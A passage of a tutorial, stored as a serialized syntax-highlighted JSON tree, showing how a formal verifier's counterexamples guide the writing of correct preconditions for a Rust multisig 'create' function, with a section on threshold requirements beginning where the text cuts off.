[20942],{"type":28,"value":1210},{"type":23,"tag":481,"props":20944,"children":20945},{"class":483,"line":6546},[20946],{"type":23,"tag":481,"props":20947,"children":20948},{"style":488},[20949],{"type":28,"value":20950}," // check we don't exceed u16\n",{"type":23,"tag":481,"props":20952,"children":20953},{"class":483,"line":6591},[20954,20958,20963,20967,20971,20975,20979],{"type":23,"tag":481,"props":20955,"children":20956},{"style":497},[20957],{"type":28,"value":500},{"type":23,"tag":481,"props":20959,"children":20960},{"style":508},[20961],{"type":28,"value":20962}," total_members",{"type":23,"tag":481,"props":20964,"children":20965},{"style":514},[20966],{"type":28,"value":517},{"type":23,"tag":481,"props":20968,"children":20969},{"style":508},[20970],{"type":28,"value":20883},{"type":23,"tag":481,"props":20972,"children":20973},{"style":514},[20974],{"type":28,"value":199},{"type":23,"tag":481,"props":20976,"children":20977},{"style":610},[20978],{"type":28,"value":6621},{"type":23,"tag":481,"props":20980,"children":20981},{"style":525},[20982],{"type":28,"value":1201},{"type":23,"tag":481,"props":20984,"children":20985},{"class":483,"line":6697},[20986,20990,20994,20998,21002],{"type":23,"tag":481,"props":20987,"children":20988},{"style":535},[20989],{"type":28,"value":9766},{"type":23,"tag":481,"props":20991,"children":20992},{"style":508},[20993],{"type":28,"value":20962},{"type":23,"tag":481,"props":20995,"children":20996},{"style":514},[20997],{"type":28,"value":6199},{"type":23,"tag":481,"props":20999,"children":21000},{"style":551},[21001],{"type":28,"value":2072},{"type":23,"tag":481,"props":21003,"children":21004},{"style":525},[21005],{"type":28,"value":809},{"type":23,"tag":481,"props":21007,"children":21009},{"class":483,"line":21008},31,[21010,21014,21019,21023,21028,21032,21037],{"type":23,"tag":481,"props":21011,"children":21012},{"style":535},[21013],{"type":28,"value":13234},{"type":23,"tag":481,"props":21015,"children":21016},{"style":610},[21017],{"type":28,"value":21018}," err!",{"type":23,"tag":481,"props":21020,"children":21021},{"style":525},[21022],{"type":28,"value":618},{"type":23,"tag":481,"props":21024,"children":21025},{"style":943},[21026],{"type":28,"value":21027},"MsError",{"type":23,"tag":481,"props":21029,"children":21030},{"style":514},[21031],{"type":28,"value":1006},{"type":23,"tag":481,"props":21033,"children":21034},{"style":943},[21035],{"type":28,"value":21036},"EmptyMembers",{"type":23,"tag":481,"props":21038,"children":21039},{"style":525},[21040],{"type":28,"value":1366},{"type":23,"tag":481,"props":21042,"children":21044},{"class":483,"line":21043},32,[21045],{"type":23,"tag":481,"props":21046,"children":21047},{"style":525},[21048],{"type":28,"value":879},{"type":23,"tag":481,"props":21050,"children":21052},{"class":483,"line":21051},33,[21053],{"type":23,"tag":481,"props":21054,"children":21055},{"emptyLinePlaceholder":15},[21056],{"type":28,"value":1210},{"type":23,"tag":481,"props":21058,"children":21060},{"class":483,"line":21059},34,[21061],{"type":23,"tag":481,"props":21062,"children":21063},{"style":488},[21064],{"type":28,"value":21065}," // make sure we don't exceed u16 on first call\n",{"type":23,"tag":481,"props":21067,"children":21069},{"class":483,"line":21068},35,[21070,21074,21078,21082,21086,21090,21094,21099,21103],{"type":23,"tag":481,"props":21071,"children":21072},{"style":535},[21073],{"type":28,"value":9766},{"type":23,"tag":481,"props":21075,"children":21076},{"style":508},[21077],{"type":28,"value":20962},{"type":23,"tag":481,"props":21079,"children":21080},{"style":514},[21081],{"type":28,"value":11682},{"type":23,"tag":481,"props":21083,"children":21084},{"style":943},[21085],{"type":28,"value":11219},{"type":23,"tag":481,"props":21087,"children":21088},{"style":514},[21089],{"type":28,"value":1006},{"type":23,"tag":481,"props":21091,"children":21092},{"style":610},[21093],{"type":28,"value":16970},{"type":23,"tag":481,"props":21095,"children":21096},{"style":525},[21097],{"type":28,"value":21098},"(u16",{"type":23,"tag":481,"props":21100,"children":21101},{"style":514},[21102],{"type":28,"value":1006},{"type":23,"tag":481,"props":21104,"children":21105},{"style":525},[21106],{"type":28,"value":21107},"MAX) {\n",{"type":23,"tag":481,"props":21109,"children":21111},{"class":483,"line":21110},36,[21112,21116,21120,21124,21128,21132,21137],{"type":23,"tag":481,"props":21113,"children":21114},{"style":535},[21115],{"type":28,"value":13234},{"type":23,"tag":481,"props":21117,"children":21118},{"style":610},[21119],{"type":28,"value":21018},{"type":23,"tag":481,"props":21121,"children":21122},{"style":525},[21123],{"type":28,"value":618},{"type":23,"tag":481,"props":21125,"children":21126},{"style":943},[21127],{"type":28,"value":21027},{"type":23,"tag":481,"props":21129,"children":21130},{"style":514},[21131],{"type":28,"value":1006},{"type":23,"tag":481,"props":21133,"children":21134},{"style":943},[21135],{"type":28,"value":21136},"MaxMembersReached",{"type":23,"tag":481,"props":21138,"children":21139},{"style":525},[21140],{"type":28,"value":1366},{"type":23,"tag":481,"props":21142,"children":21144},{"class":483,"line":21143},37,[21145],{"type":23,"tag":481,"props":21146,"children":21147},{"style":525},[21148],{"type":28,"value":879},{"type":23,"tag":481,"props":21150,"children":21152},{"class":483,"line":21151},38,[21153],{"type":23,"tag":481,"props":21154,"children":21155},{"emptyLinePlaceholder":15},[21156],{"type":28,"value":1210},{"type":23,"tag":481,"props":21158,"children":21160},{"class":483,"line":21159},39,[21161],{"type":23,"tag":481,"props":21162,"children":21163},{"style":488},[21164],{"type":28,"value":21165}," // make sure threshold is valid\n",{"type":23,"tag":481,"props":21167,"children":21169},{"class":483,"line":21168},40,[21170,21174,21178,21182,21186,21190,21194,21199,21203,21208,21212,21216,21220,21224,21228,21233,21238],{"type":23,"tag":481,"props":21171,"children":21172},{"style":535},[21173],{"type":28,"value":9766},{"type":23,"tag":481,"props":21175,"children":21176},{"style":943},[21177],{"type":28,"value":11219},{"type":23,"tag":481,"props":21179,"children":21180},{"style":514},[21181],{"type":28,"value":1006},{"type":23,"tag":481,"props":21183,"children":21184},{"style":610},[21185],{"type":28,"value":16970},{"type":23,"tag":481,"props":21187,"children":21188},{"style":525},[21189],{"type":28,"value":618},{"type":23,"tag":481,"props":21191,"children":21192},{"style":508},[21193],{"type":28,"value":20248},{"type":23,"tag":481,"props":21195,"children":21196},{"style":525},[21197],{"type":28,"value":21198},") \u003C ",{"type":23,"tag":481,"props":21200,"children":21201},{"style":551},[21202],{"type":28,"value":1558},{"type":23,"tag":481,"props":21204,"children":21205},{"style":514},[21206],{"type":28,"value":21207}," ||",{"type":23,"tag":481,"props":21209,"children":21210},{"style":943},[21211],{"type":28,"value":11219},{"type":23,"tag":481,"props":21213,"children":21214},{"style":514},[21215],{"type":28,"value":1006},{"type":23,"tag":481,"props":21217,"children":21218},{"style":610},[21219],{"type":28,"value":16970},{"type":23,"tag":481,"props":21221,"children":21222},{"style":525},[21223],{"type":28,"value":618},{"type":23,"tag":481,"props":21225,"children":21226},{"style":508},[21227],{"type":28,"value":20248},{"type":23,"tag":481,"props":21229,"children":21230},{"style":525},[21231],{"type":28,"value":21232},") > ",{"type":23,"tag":481,"props":21234,"children":21235},{"style":508},[21236],{"type":28,"value":21237},"total_members",{"type":23,"tag":481,"props":21239,"children":21240},{"style":525},[21241],{"type":28,"value":809},{"type":23,"tag":481,"props":21243,"children":21245},{"class":483,"line":21244},41,[21246,21250,21254,21258,21262,21266,21271],{"type":23,"tag":481,"props":21247,"children":21248},{"style":535},[21249],{"type":28,"value":13234},{"type":23,"tag":481,"props":21251,"children":21252},{"style":610},[21253],{"type":28,"value":21018},{"type":23,"tag":481,"props":21255,"children":21256},{"style":525},[21257],{"type":28,"value":618},{"type":23,"tag":481,"props":21259,"children":21260},{"style":943},[21261],{"type":28,"value":21027},{"type":23,"tag":481,"props":21263,"children":21264},{"style":514},[21265],{"type":28,"value":1006},{"type":23,"tag":481,"props":21267,"children":21268},{"style":943},[21269],{"type":28,"value":21270},"InvalidThreshold",{"type":23,"tag":481,"props":21272,"children":21273},{"style":525},[21274],{"type":28,"value":1366},{"type":23,"tag":481,"props":21276,"children":21278},{"class":483,"line":21277},42,[21279],{"type":23,"tag":481,"props":21280,"children":21281},{"style":525},[21282],{"type":28,"value":879},{"type":23,"tag":481,"props":21284,"children":21286},{"class":483,"line":21285},43,[21287],{"type":23,"tag":481,"props":21288,"children":21289},{"emptyLinePlaceholder":15},[21290],{"type":28,"value":1210},{"type":23,"tag":481,"props":21292,"children":21294},{"class":483,"line":21293},44,[21295,21299,21303,21307,21311,21316,21320,21324],{"type":23,"tag":481,"props":21296,"children":21297},{"style":508},[21298],{"type":28,"value":17721},{"type":23,"tag":481,"props":21300,"children":21301},{"style":514},[21302],{"type":28,"value":199},{"type":23,"tag":481,"props":21304,"children":21305},{"style":525},[21306],{"type":28,"value":12163},{"type":23,"tag":481,"props":21308,"children":21309},{"style":514},[21310],{"type":28,"value":199},{"type":23,"tag":481,"props":21312,"children":21313},{"style":525},[21314],{"type":28,"value":21315},"multisig",{"type":23,"tag":481,"props":21317,"children":21318},{"style":514},[21319],{"type":28,"value":199},{"type":23,"tag":481,"props":21321,"children":21322},{"style":610},[21323],{"type":28,"value":18238},{"type":23,"tag":481,"props":21325,"children":21326},{"style":525},[21327],{"type":28,"value":988},{"type":23,"tag":481,"props":21329,"children":21331},{"class":483,"line":21330},45,[21332,21337],{"type":23,"tag":481,"props":21333,"children":21334},{"style":508},[21335],{"type":28,"value":21336}," threshold",{"type":23,"tag":481,"props":21338,"children":21339},{"style":525},[21340],{"type":28,"value":1033},{"type":23,"tag":481,"props":21342,"children":21344},{"class":483,"line":21343},46,[21345,21350],{"type":23,"tag":481,"props":21346,"children":21347},{"style":508},[21348],{"type":28,"value":21349}," create_key",{"type":23,"tag":481,"props":21351,"children":21352},{"style":525},[21353],{"type":28,"value":1033},{"type":23,"tag":481,"props":21355,"children":21357},{"class":483,"line":21356},47,[21358,21363],{"type":23,"tag":481,"props":21359,"children":21360},{"style":508},[21361],{"type":28,"value":21362}," members",{"type":23,"tag":481,"props":21364,"children":21365},{"style":525},[21366],{"type":28,"value":1033},{"type":23,"tag":481,"props":21368,"children":21370},{"class":483,"line":21369},48,[21371,21375,21379,21383,21388,21392,21396,21400,21405,21409,21413,21417],{"type":23,"tag":481,"props":21372,"children":21373},{"style":514},[21374],{"type":28,"value":5230},{"type":23,"tag":481,"props":21376,"children":21377},{"style":508},[21378],{"type":28,"value":17778},{"type":23,"tag":481,"props":21380,"children":21381},{"style":514},[21382],{"type":28,"value":199},{"type":23,"tag":481,"props":21384,"children":21385},{"style":525},[21386],{"type":28,"value":21387},"bumps",{"type":23,"tag":481,"props":21389,"children":21390},{"style":514},[21391],{"type":28,"value":199},{"type":23,"tag":481,"props":21393,"children":21394},{"style":610},[21395],{"type":28,"value":13842},{"type":23,"tag":481,"props":21397,"children":21398},{"style":525},[21399],{"type":28,"value":618},{"type":23,"tag":481,"props":21401,"children":21402},{"style":1805},[21403],{"type":28,"value":21404},"\"multisig\"",{"type":23,"tag":481,"props":21406,"children":21407},{"style":525},[21408],{"type":28,"value":642},{"type":23,"tag":481,"props":21410,"children":21411},{"style":514},[21412],{"type":28,"value":199},{"type":23,"tag":481,"props":21414,"children":21415},{"style":610},[21416],{"type":28,"value":1196},{"type":23,"tag":481,"props":21418,"children":21419},{"style":525},[21420],{"type":28,"value":1016},{"type":23,"tag":481,"props":21422,"children":21424},{"class":483,"line":21423},49,[21425],{"type":23,"tag":481,"props":21426,"children":21427},{"style":525},[21428],{"type":28,"value":21429}," )\n",{"type":23,"tag":481,"props":21431,"children":21433},{"class":483,"line":21432},50,[21434],{"type":23,"tag":481,"props":21435,"children":21436},{"style":525},[21437],{"type":28,"value":1443},{"type":23,"tag":24,"props":21439,"children":21440},{},[21441,21443,21448,21450,21455],{"type":28,"value":21442},"We can start by testing an empty ",{"type":23,"tag":64,"props":21444,"children":21446},{"className":21445},[],[21447],{"type":28,"value":17652},{"type":28,"value":21449}," (this will default to ",{"type":23,"tag":64,"props":21451,"children":21453},{"className":21452},[],[21454],{"type":28,"value":1539},{"type":28,"value":21456},"):",{"type":23,"tag":435,"props":21458,"children":21460},{"code":21459,"language":474,"meta":7,"className":475,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[21461],{"type":23,"tag":64,"props":21462,"children":21463},{"__ignoreMap":7},[21464,21472],{"type":23,"tag":481,"props":21465,"children":21466},{"class":483,"line":484},[21467],{"type":23,"tag":481,"props":21468,"children":21469},{"style":525},[21470],{"type":28,"value":21471},"#[succeeds_if()]\n",{"type":23,"tag":481,"props":21473,"children":21474},{"class":483,"line":351},[21475,21479,21483,21487,21491,21495,21500,21504],{"type":23,"tag":481,"props":21476,"children":21477},{"style":497},[21478],{"type":28,"value":11178},{"type":23,"tag":481,"props":21480,"children":21481},{"style":497},[21482],{"type":28,"value":11183},{"type":23,"tag":481,"props":21484,"children":21485},{"style":610},[21486],{"type":28,"value":4590},{"type":23,"tag":481,"props":21488,"children":21489},{"style":525},[21490],{"type":28,"value":618},{"type":23,"tag":481,"props":21492,"children":21493},{"style":514},[21494],{"type":28,"value":7074},{"type":23,"tag":481,"props":21496,"children":21497},{"style":525},[21498],{"type":28,"value":21499},") { ",{"type":23,"tag":481,"props":21501,"children":21502},{"style":514},[21503],{"type":28,"value":7074},{"type":23,"tag":481,"props":21505,"children":21506},{"style":525},[21507],{"type":28,"value":7079},{"type":23,"tag":24,"props":21509,"children":21510},{},[21511],{"type":28,"value":21512},"Running the solver, we get:",{"type":23,"tag":435,"props":21514,"children":21516},{"code":21515},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[21517],{"type":23,"tag":64,"props":21518,"children":21519},{"__ignoreMap":7},[21520],{"type":28,"value":21515},{"type":23,"tag":24,"props":21522,"children":21523},{},[21524,21526,21531],{"type":28,"value":21525},"This means that ",{"type":23,"tag":64,"props":21527,"children":21529},{"className":21528},[],[21530],{"type":28,"value":1539},{"type":28,"value":21532}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":23,"tag":24,"props":21534,"children":21535},{},[21536],{"type":28,"value":21537},"We can ask the solver to produce a counterexample:",{"type":23,"tag":435,"props":21539,"children":21541},{"code":21540},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[21542],{"type":23,"tag":64,"props":21543,"children":21544},{"__ignoreMap":7},[21545],{"type":28,"value":21540},{"type":23,"tag":24,"props":21547,"children":21548},{},[21549],{"type":28,"value":21550},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":23,"tag":24,"props":21552,"children":21553},{},[21554],{"type":23,"tag":127,"props":21555,"children":21556},{},[21557,21559,21565],{"type":28,"value":21558},"Note also that the verifier decided to use a ",{"type":23,"tag":64,"props":21560,"children":21562},{"className":21561},[],[21563],{"type":28,"value":21564},"SparseVec",{"type":28,"value":21566}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":23,"tag":24,"props":21568,"children":21569},{},[21570],{"type":23,"tag":127,"props":21571,"children":21572},{},[21573,21575,21580,21581,21587,21589,21594,21596,21601],{"type":28,"value":21574},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":23,"tag":64,"props":21576,"children":21578},{"className":21577},[],[21579],{"type":28,"value":1352},{"type":28,"value":8478},{"type":23,"tag":64,"props":21582,"children":21584},{"className":21583},[],[21585],{"type":28,"value":21586},"pop",{"type":28,"value":21588}," are stubbed out to simply panic for the ",{"type":23,"tag":64,"props":21590,"children":21592},{"className":21591},[],[21593],{"type":28,"value":21564},{"type":28,"value":21595}," and if this code tried to do that we would fall back to the concrete ",{"type":23,"tag":64,"props":21597,"children":21599},{"className":21598},[],[21600],{"type":28,"value":14703},{"type":28,"value":21602}," type.",{"type":23,"tag":24,"props":21604,"children":21605},{},[21606],{"type":28,"value":21607},"We can add this to our constraint and try again:",{"type":23,"tag":435,"props":21609,"children":21611},{"code":21610,"language":474,"meta":7,"className":475,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[21612],{"type":23,"tag":64,"props":21613,"children":21614},{"__ignoreMap":7},[21615,21623,21660,21667],{"type":23,"tag":481,"props":21616,"children":21617},{"class":483,"line":484},[21618],{"type":23,"tag":481,"props":21619,"children":21620},{"style":525},[21621],{"type":28,"value":21622},"#[succeeds_if(\n",{"type":23,"tag":481,"props":21624,"children":21625},{"class":483,"line":351},[21626,21631,21635,21639,21643,21647,21651,21655],{"type":23,"tag":481,"props":21627,"children":21628},{"style":525},[21629],{"type":28,"value":21630}," (threshold ",{"type":23,"tag":481,"props":21632,"children":21633},{"style":497},[21634],{"type":28,"value":6322},{"type":23,"tag":481,"props":21636,"children":21637},{"style":943},[21638],{"type":28,"value":11219},{"type":23,"tag":481,"props":21640,"children":21641},{"style":525},[21642],{"type":28,"value":598},{"type":23,"tag":481,"props":21644,"children":21645},{"style":514},[21646],{"type":28,"value":16911},{"type":23,"tag":481,"props":21648,"children":21649},{"style":525},[21650],{"type":28,"value":20883},{"type":23,"tag":481,"props":21652,"children":21653},{"style":514},[21654],{"type":28,"value":199},{"type":23,"tag":481,"props":21656,"children":21657},{"style":525},[21658],{"type":28,"value":21659},"len()\n",{"type":23,"tag":481,"props":21661,"children":21662},{"class":483,"line":531},[21663],{"type":23,"tag":481,"props":21664,"children":21665},{"style":525},[21666],{"type":28,"value":17756},{"type":23,"tag":481,"props":21668,"children":21669},{"class":483,"line":567},[21670,21674,21678,21682,21686,21690,21694,21698],{"type":23,"tag":481,"props":21671,"children":21672},{"style":497},[21673],{"type":28,"value":11178},{"type":23,"tag":481,"props":21675,"children":21676},{"style":497},[21677],{"type":28,"value":11183},{"type":23,"tag":481,"props":21679,"children":21680},{"style":610},[21681],{"type":28,"value":4590},{"type":23,"tag":481,"props":21683,"children":21684},{"style":525},[21685],{"type":28,"value":618},{"type":23,"tag":481,"props":21687,"children":21688},{"style":514},[21689],{"type":28,"value":7074},{"type":23,"tag":481,"props":21691,"children":21692},{"style":525},[21693],{"type":28,"value":21499},{"type":23,"tag":481,"props":21695,"children":21696},{"style":514},[21697],{"type":28,"value":7074},{"type":23,"tag":481,"props":21699,"children":21700},{"style":525},[21701],{"type":28,"value":7079},{"type":23,"tag":24,"props":21703,"children":21704},{},[21705],{"type":28,"value":21706},"Verification failed again! This time we get a different counterexample:",{"type":23,"tag":435,"props":21708,"children":21710},{"code":21709},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[21711],{"type":23,"tag":64,"props":21712,"children":21713},{"__ignoreMap":7},[21714],{"type":28,"value":21709},{"type":23,"tag":24,"props":21716,"children":21717},{},[21718],{"type":28,"value":21719},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":23,"tag":435,"props":21721,"children":21723},{"code":21722,"language":474,"meta":7,"className":475,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && threshold != 0\n)]\npub fn create(...) { ... }\n",[21724],{"type":23,"tag":64,"props":21725,"children":21726},{"__ignoreMap":7},[21727,21734,21769,21790,21797],{"type":23,"tag":481,"props":21728,"children":21729},{"class":483,"line":484},[21730],{"type":23,"tag":481,"props":21731,"children":21732},{"style":525},[21733],{"type":28,"value":21622},{"type":23,"tag":481,"props":21735,"children":21736},{"class":483,"line":351},[21737,21741,21745,21749,21753,21757,21761,21765],{"type":23,"tag":481,"props":21738,"children":21739},{"style":525},[21740],{"type":28,"value":21630},{"type":23,"tag":481,"props":21742,"children":21743},{"style":497},[21744],{"type":28,"value":6322},{"type":23,"tag":481,"props":21746,"children":21747},{"style":943},[21748],{"type":28,"value":11219},{"type":23,"tag":481,"props":21750,"children":21751},{"style":525},[21752],{"type":28,"value":598},{"type":23,"tag":481,"props":21754,"children":21755},{"style":514},[21756],{"type":28,"value":16911},{"type":23,"tag":481,"props":21758,"children":21759},{"style":525},[21760],{"type":28,"value":20883},{"type":23,"tag":481,"props":21762,"children":21763},{"style":514},[21764],{"type":28,"value":199},{"type":23,"tag":481,"props":21766,"children":21767},{"style":525},[21768],{"type":28,"value":21659},{"type":23,"tag":481,"props":21770,"children":21771},{"class":483,"line":531},[21772,21776,21781,21785],{"type":23,"tag":481,"props":21773,"children":21774},{"style":514},[21775],{"type":28,"value":13111},{"type":23,"tag":481,"props":21777,"children":21778},{"style":525},[21779],{"type":28,"value":21780}," threshold ",{"type":23,"tag":481,"props":21782,"children":21783},{"style":514},[21784],{"type":28,"value":13178},{"type":23,"tag":481,"props":21786,"children":21787},{"style":525},[21788],{"type":28,"value":21789}," 0\n",{"type":23,"tag":481,"props":21791,"children":21792},{"class":483,"line":567},[21793],{"type":23,"tag":481,"props":21794,"children":21795},{"style":525},[21796],{"type":28,"value":17756},{"type":23,"tag":481,"props":21798,"children":21799},{"class":483,"line":678},[21800,21804,21808,21812,21816,21820,21824,21828],{"type":23,"tag":481,"props":21801,"children":21802},{"style":497},[21803],{"type":28,"value":11178},{"type":23,"tag":481,"props":21805,"children":21806},{"style":497},[21807],{"type":28,"value":11183},{"type":23,"tag":481,"props":21809,"children":21810},{"style":610},[21811],{"type":28,"value":4590},{"type":23,"tag":481,"props":21813,"children":21814},{"style":525},[21815],{"type":28,"value":618},{"type":23,"tag":481,"props":21817,"children":21818},{"style":514},[21819],{"type":28,"value":7074},{"type":23,"tag":481,"props":21821,"children":21822},{"style":525},[21823],{"type":28,"value":21499},{"type":23,"tag":481,"props":21825,"children":21826},{"style":514},[21827],{"type":28,"value":7074},{"type":23,"tag":481,"props":21829,"children":21830},{"style":525},[21831],{"type":28,"value":7079},{"type":23,"tag":24,"props":21833,"children":21834},{},[21835],{"type":28,"value":21836},"A third counterexample:",{"type":23,"tag":435,"props":21838,"children":21840},{"code":21839},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[21841],{"type":23,"tag":64,"props":21842,"children":21843},{"__ignoreMap":7},[21844],{"type":28,"value":21839},{"type":23,"tag":24,"props":21846,"children":21847},{},[21848,21850,21856],{"type":28,"value":21849},"Here we see the size of our ",{"type":23,"tag":64,"props":21851,"children":21853},{"className":21852},[],[21854],{"type":28,"value":21855},"members",{"type":28,"value":21857}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":23,"tag":435,"props":21859,"children":21861},{"code":21860,"language":474,"meta":7,"className":475,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && (threshold != 0)\n && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[21862],{"type":23,"tag":64,"props":21863,"children":21864},{"__ignoreMap":7},[21865,21872,21907,21928,21980,21987],{"type":23,"tag":481,"props":21866,"children":21867},{"class":483,"line":484},[21868],{"type":23,"tag":481,"props":21869,"children":21870},{"style":525},[21871],{"type":28,"value":21622},{"type":23,"tag":481,"props":21873,"children":21874},{"class":483,"line":351},[21875,21879,21883,21887,21891,21895,21899,21903],{"type":23,"tag":481,"props":21876,"children":21877},{"style":525},[21878],{"type":28,"value":21630},{"type":23,"tag":481,"props":21880,"children":21881},{"style":497},[21882],{"type":28,"value":6322},{"type":23,"tag":481,"props":21884,"children":21885},{"style":943},[21886],{"type":28,"value":11219},{"type":23,"tag":481,"props":21888,"children":21889},{"style":525},[21890],{"type":28,"value":598},{"type":23,"tag":481,"props":21892,"children":21893},{"style":514},[21894],{"type":28,"value":16911},{"type":23,"tag":481,"props":21896,"children":21897},{"style":525},[21898],{"type":28,"value":20883},{"type":23,"tag":481,"props":21900,"children":21901},{"style":514},[21902],{"type":28,"value":199},{"type":23,"tag":481,"props":21904,"children":21905},{"style":525},[21906],{"type":28,"value":21659},{"type":23,"tag":481,"props":21908,"children":21909},{"class":483,"line":531},[21910,21914,21919,21923],{"type":23,"tag":481,"props":21911,"children":21912},{"style":514},[21913],{"type":28,"value":13111},{"type":23,"tag":481,"props":21915,"children":21916},{"style":525},[21917],{"type":28,"value":21918}," (threshold ",{"type":23,"tag":481,"props":21920,"children":21921},{"style":514},[21922],{"type":28,"value":13178},{"type":23,"tag":481,"props":21924,"children":21925},{"style":525},[21926],{"type":28,"value":21927}," 0)\n",{"type":23,"tag":481,"props":21929,"children":21930},{"class":483,"line":567},[21931,21935,21939,21943,21947,21951,21955,21960,21964,21968,21972,21976],{"type":23,"tag":481,"props":21932,"children":21933},{"style":514},[21934],{"type":28,"value":13111},{"type":23,"tag":481,"props":21936,"children":21937},{"style":525},[21938],{"type":28,"value":20497},{"type":23,"tag":481,"props":21940,"children":21941},{"style":514},[21942],{"type":28,"value":199},{"type":23,"tag":481,"props":21944,"children":21945},{"style":525},[21946],{"type":28,"value":18519},{"type":23,"tag":481,"props":21948,"children":21949},{"style":514},[21950],{"type":28,"value":16911},{"type":23,"tag":481,"props":21952,"children":21953},{"style":525},[21954],{"type":28,"value":578},{"type":23,"tag":481,"props":21956,"children":21957},{"style":943},[21958],{"type":28,"value":21959},"u16",{"type":23,"tag":481,"props":21961,"children":21962},{"style":514},[21963],{"type":28,"value":1006},{"type":23,"tag":481,"props":21965,"children":21966},{"style":943},[21967],{"type":28,"value":18537},{"type":23,"tag":481,"props":21969,"children":21970},{"style":497},[21971],{"type":28,"value":6308},{"type":23,"tag":481,"props":21973,"children":21974},{"style":943},[21975],{"type":28,"value":11219},{"type":23,"tag":481,"props":21977,"children":21978},{"style":525},[21979],{"type":28,"value":17209},{"type":23,"tag":481,"props":21981,"children":21982},{"class":483,"line":678},[21983],{"type":23,"tag":481,"props":21984,"children":21985},{"style":525},[21986],{"type":28,"value":17756},{"type":23,"tag":481,"props":21988,"children":21989},{"class":483,"line":784},[21990,21994,21998,22002,22006,22010,22014,22018],{"type":23,"tag":481,"props":21991,"children":21992},{"style":497},[21993],{"type":28,"value":11178},{"type":23,"tag":481,"props":21995,"children":21996},{"style":497},[21997],{"type":28,"value":11183},{"type":23,"tag":481,"props":21999,"children":22000},{"style":610},[22001],{"type":28,"value":4590},{"type":23,"tag":481,"props":22003,"children":22004},{"style":525},[22005],{"type":28,"value":618},{"type":23,"tag":481,"props":22007,"children":22008},{"style":514},[22009],{"type":28,"value":7074},{"type":23,"tag":481,"props":22011,"children":22012},{"style":525},[22013],{"type":28,"value":21499},{"type":23,"tag":481,"props":22015,"children":22016},{"style":514},[22017],{"type":28,"value":7074},{"type":23,"tag":481,"props":22019,"children":22020},{"style":525},[22021],{"type":28,"value":7079},{"type":23,"tag":24,"props":22023,"children":22024},{},[22025],{"type":28,"value":22026},"And now we get:",{"type":23,"tag":435,"props":22028,"children":22030},{"code":22029},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[22031],{"type":23,"tag":64,"props":22032,"children":22033},{"__ignoreMap":7},[22034],{"type":28,"value":22029},{"type":23,"tag":24,"props":22036,"children":22037},{},[22038],{"type":28,"value":22039},"🥳🥳🥳",{"type":23,"tag":24,"props":22041,"children":22042},{},[22043],{"type":28,"value":22044},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":23,"tag":435,"props":22046,"children":22048},{"code":22047,"language":474,"meta":7,"className":475,"style":7},"if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n}\n",[22049],{"type":23,"tag":64,"props":22050,"children":22051},{"__ignoreMap":7},[22052,22075,22106],{"type":23,"tag":481,"props":22053,"children":22054},{"class":483,"line":484},[22055,22059,22063,22067,22071],{"type":23,"tag":481,"props":22056,"children":22057},{"style":535},[22058],{"type":28,"value":13069},{"type":23,"tag":481,"props":22060,"children":22061},{"style":508},[22062],{"type":28,"value":20962},{"type":23,"tag":481,"props":22064,"children":22065},{"style":514},[22066],{"type":28,"value":6199},{"type":23,"tag":481,"props":22068,"children":22069},{"style":551},[22070],{"type":28,"value":2072},{"type":23,"tag":481,"props":22072,"children":22073},{"style":525},[22074],{"type":28,"value":809},{"type":23,"tag":481,"props":22076,"children":22077},{"class":483,"line":351},[22078,22082,22086,22090,22094,22098,22102],{"type":23,"tag":481,"props":22079,"children":22080},{"style":535},[22081],{"type":28,"value":14481},{"type":23,"tag":481,"props":22083,"children":22084},{"style":610},[22085],{"type":28,"value":21018},{"type":23,"tag":481,"props":22087,"children":22088},{"style":525},[22089],{"type":28,"value":618},{"type":23,"tag":481,"props":22091,"children":22092},{"style":943},[22093],{"type":28,"value":21027},{"type":23,"tag":481,"props":22095,"children":22096},{"style":514},[22097],{"type":28,"value":1006},{"type":23,"tag":481,"props":22099,"children":22100},{"style":943},[22101],{"type":28,"value":21036},{"type":23,"tag":481,"props":22103,"children":22104},{"style":525},[22105],{"type":28,"value":1366},{"type":23,"tag":481,"props":22107,"children":22108},{"class":483,"line":531},[22109],{"type":23,"tag":481,"props":22110,"children":22111},{"style":525},[22112],{"type":28,"value":1443},{"type":23,"tag":24,"props":22114,"children":22115},{},[22116,22118,22124,22126,22131,22133,22138,22140,22145],{"type":28,"value":22117},"In this case this is actually redundant because if ",{"type":23,"tag":64,"props":22119,"children":22121},{"className":22120},[],[22122],{"type":28,"value":22123},"members.len() == 0",{"type":28,"value":22125}," then our threshold would also have to be ",{"type":23,"tag":64,"props":22127,"children":22129},{"className":22128},[],[22130],{"type":28,"value":1568},{"type":28,"value":22132}," (and our ",{"type":23,"tag":64,"props":22134,"children":22136},{"className":22135},[],[22137],{"type":28,"value":20248},{"type":28,"value":22139}," is not allowed to be ",{"type":23,"tag":64,"props":22141,"children":22143},{"className":22142},[],[22144],{"type":28,"value":1568},{"type":28,"value":22146},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":23,"tag":7092,"props":22148,"children":22150},{"id":22149},"_2-verify-threshold-requirements",[22151],{"type":28,"value":22152},"2. Verify threshold requirements",{"type":23,"tag":24,"props":22154,"children":22155},{},[22156],{"type":28,"value":22157},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue 